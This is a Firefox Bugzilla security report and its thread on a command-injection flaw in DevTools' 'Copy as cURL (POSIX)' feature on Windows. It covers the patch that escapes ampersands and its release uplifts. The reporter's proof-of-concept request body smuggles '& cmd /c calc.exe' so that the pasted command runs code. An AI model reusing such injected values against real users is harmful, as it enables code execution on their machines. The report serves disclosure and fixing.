Copy As Curl(posix) Lead to Code Execution in windows
Categories
(DevTools :: Netmonitor, defect)
Tracking
(firefox-esr115138+ fixed, firefox-esr128138+ fixed, firefox136 wontfix, firefox137 wontfix, firefox138 fixed)
People
(Reporter: ameenbasha111, Assigned: bomsy)
References
(Blocks 1 open bug)
Details
(Keywords: csectype-priv-escalation, reporter-external, sec-moderate, Whiteboard: [client-bounty-form][adv-main138+][adv-esr115.23+][adv-esr128.10+])
Attachments
(2 files, 1 external file, 3 obsolete files)
Hi team, Firefox latest version lead to Code Execution on windows machine using copy as curl(posix) feature
The body parameters was not properly sanitized leads to code execution on windows
Steps to reproduce
- Send the request with malicious code in he body
- Now from network tab copy the request as curl
- paste it in cmd and you can find the calc popup
Malcious request
<script>
fetch("https://example.com/postit", {
credentials: "omit",
headers: {
"Accept-Language": "en-US",
"Content-Type": "text/plain",
},
body: "query=evil\n\n & cmd /c calc.exe \n\n",
method: "POST",
});
</script>
Same issue is already fixed in Chromium
Ref:https://issues.chromium.org/issues/352651673
| Reporter | ||
Comment 1•1 year ago
|
||
Copy as curl (both windows & bash methods) are sanitized and doesnt trigger calc on windows now, In firefox copy as curl(posix) is vulnerable
| Reporter | ||
Comment 2•1 year ago
|
||
Poc Video
issue tested on latest version of firefox on windows 11 pro
| Reporter | ||
Comment 3•1 year ago
|
||
(In reply to Ameen from comment #1)
Copy as curl (both windows & bash methods) are sanitized and doesnt trigger calc on windows now, In firefox copy as curl(posix) is vulnerable
Kindly ignore this commad they are also vulnerable, but they are not vulnerable on vice versa scenario which ill be raising as a separate ticket for you
Updated•1 year ago
|
Updated•1 year ago
|
Updated•1 year ago
|
Comment 6•1 year ago
|
||
I think all of your bugs stem from the idea that a user would copy for one target system but then use it in another. This is atypical behavior and hard to make happen as an attacker.
At the same time, I will admit that people have accidentally clicked on the wrong button in the past, so it's not impossible.
I think there might be a "tricky" encoding of the request such that we don't cause code execution in whatever target system the command is entered though. https://issues.chromium.org/issues/352651673 is a useful read. Thanks for providing that.
| Reporter | ||
Comment 7•1 year ago
|
||
Thanks for the update frederik
Kindly check my comment on #1950001 regarding duplication clarification and kindly reopen the bug
Updated•1 year ago
|
Comment 8•1 year ago
|
||
The severity field is not set for this bug.
:Honza, could you have a look please?
For more information, please visit BugBot documentation.
Bomsy, you were werking on various "Copy As" actions in the Network panel. Could you please take a look, thank you.
| Comment hidden (obsolete) |
Updated•1 year ago
|
| Assignee | ||
Comment 11•1 year ago
|
||
The Copy as CuRL (POSIX) context menu is enabled for Windows, the historical reason was to allow
Windows users who use other tools (like Cygwin etc) instead of the Win command prompt.
This patch escapes the ampersand which stops a generating a malicous curl command which can be run
on Windows CMD Prompt.
| Assignee | ||
Updated•1 year ago
|
Comment 12•1 year ago
|
||
chromium fix is along the same line, but they are having a different output and escaping:
https://chromium-review.googlesource.com/c/devtools/devtools-frontend/+/5850610/3/front_end/panels/network/NetworkLogView.ts
Updated•1 year ago
|
Comment 13•1 year ago
|
||
Comment 14•1 year ago
|
||
FWIW, I think we could save ourselves a lot of work if we aligned our escaping with Chrome
Comment 15•1 year ago
|
||
In light of this bug, I just stumbled upon this article that might be useful for the Windows-specific copy function, which I admit is not directly related to this. https://learn.microsoft.com/en-us/archive/blogs/twistylittlepassagesallalike/everyone-quotes-command-line-arguments-the-wrong-way
Comment 16•1 year ago
|
||
Updated•1 year ago
|
Updated•1 year ago
|
Comment 17•1 year ago
|
||
The patch landed in nightly and beta is affected.
:bomsy, is this bug important enough to require an uplift?
- If yes, please nominate the patch for beta approval.
- If no, please set
status-firefox137towontfix.
For more information, please visit BugBot documentation.
| Assignee | ||
Comment 18•1 year ago
|
||
Comment on attachment 9473892 [details]
Bug 1949994 - [devtools] Properly escape the ampersand for Copy as cURL (POSIX) r=#devtools
Beta/Release Uplift Approval Request
- User impact if declined/Reason for urgency: Potential for running curl commands with malicious code on user machine
- Is this code covered by automated tests?: Yes
- Has the fix been verified in Nightly?: Yes
- Needs manual test from QE?: No
- If yes, steps to reproduce:
- List of other uplifts needed: None
- Risk to taking this patch: Low
- Why is the change risky/not risky? (and alternatives if risky): Small js code to escape correctly
- String changes made/needed:
- Is Android affected?: No
Comment 19•1 year ago
|
||
dumb bot -- don't ask people to uplift to beta after we've already built the release candidates!
Comment 20•1 year ago
|
||
Comment on attachment 9473892 [details]
Bug 1949994 - [devtools] Properly escape the ampersand for Copy as cURL (POSIX) r=#devtools
Changing Requests to ESR instead as this will already be in beta as of today with 138
| Comment hidden (offtopic) |
Updated•1 year ago
|
Updated•1 year ago
|
| Comment hidden (offtopic) |
| Comment hidden (offtopic) |
| Comment hidden (offtopic) |
| Comment hidden (offtopic) |
| Comment hidden (offtopic) |
Comment 27•1 year ago
|
||
Comment on attachment 9473892 [details]
Bug 1949994 - [devtools] Properly escape the ampersand for Copy as cURL (POSIX) r=#devtools
Approved for 115.23esr
Comment 28•1 year ago
|
||
| uplift | ||
Updated•1 year ago
|
Comment 29•1 year ago
|
||
Comment on attachment 9473892 [details]
Bug 1949994 - [devtools] Properly escape the ampersand for Copy as cURL (POSIX) r=#devtools
Approved for 128.10esr
Comment 30•1 year ago
|
||
| uplift | ||
Updated•1 year ago
|
Updated•1 year ago
|
Updated•1 year ago
|
Updated•1 year ago
|
Updated•1 year ago
|
Updated•1 year ago
|
Comment 31•1 year ago
|
||
Comment 32•1 year ago
|
||
Updated•1 year ago
|
Comment 33•1 year ago
|
||
Updated•1 year ago
|
Updated•5 months ago
|
Description
•